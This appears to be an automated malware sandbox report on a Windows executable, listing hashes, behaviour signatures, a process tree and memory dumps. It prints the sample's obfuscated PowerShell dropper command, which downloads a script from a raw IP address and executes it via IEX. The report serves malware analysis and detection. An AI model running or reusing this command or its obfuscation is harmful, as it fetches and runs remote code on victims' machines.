Analysis
- max time kernel
149s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
06/07/2026, 08:28
General
- Target e0bbeb44a30e92fcf141c350b4d4240c488821ede6cf83b03c1b7d726a87c5f5.exe
- Size 55KB
- Sample260706-kdfxcacw21
- SHA256 e0bbeb44a30e92fcf141c350b4d4240c488821ede6cf83b03c1b7d726a87c5f5
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://185.11.61.104/Z.png
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\e0bbeb44a30e92fcf141c350b4d4240c488821ede6cf83b03c1b7d726a87c5f5.exe"C:\Users\Admin\AppData\Local\Temp\e0bbeb44a30e92fcf141c350b4d4240c488821ede6cf83b03c1b7d726a87c5f5.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/Z.png'')'; $F=I`E`X ($L,$Y,$V -Join '')|I`E`X"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_srbmilkl.d5z.ps1
memory/2196-0-0x00000000005E0000-0x00000000005F4000-memory.dmp
memory/2196-1-0x000000001B140000-0x000000001B150000-memory.dmp
memory/2196-2-0x0000000000D90000-0x0000000000D96000-memory.dmp
memory/4288-4-0x000001926DBB0000-0x000001926DBC0000-memory.dmp
memory/4288-3-0x000001926DBB0000-0x000001926DBC0000-memory.dmp
memory/4288-12-0x000001926DAD0000-0x000001926DAF2000-memory.dmp
memory/4288-13-0x000001926DBB0000-0x000001926DBC0000-memory.dmp
memory/4288-14-0x000001926DBB0000-0x000001926DBC0000-memory.dmp
memory/4288-15-0x000001926DBB0000-0x000001926DBC0000-memory.dmp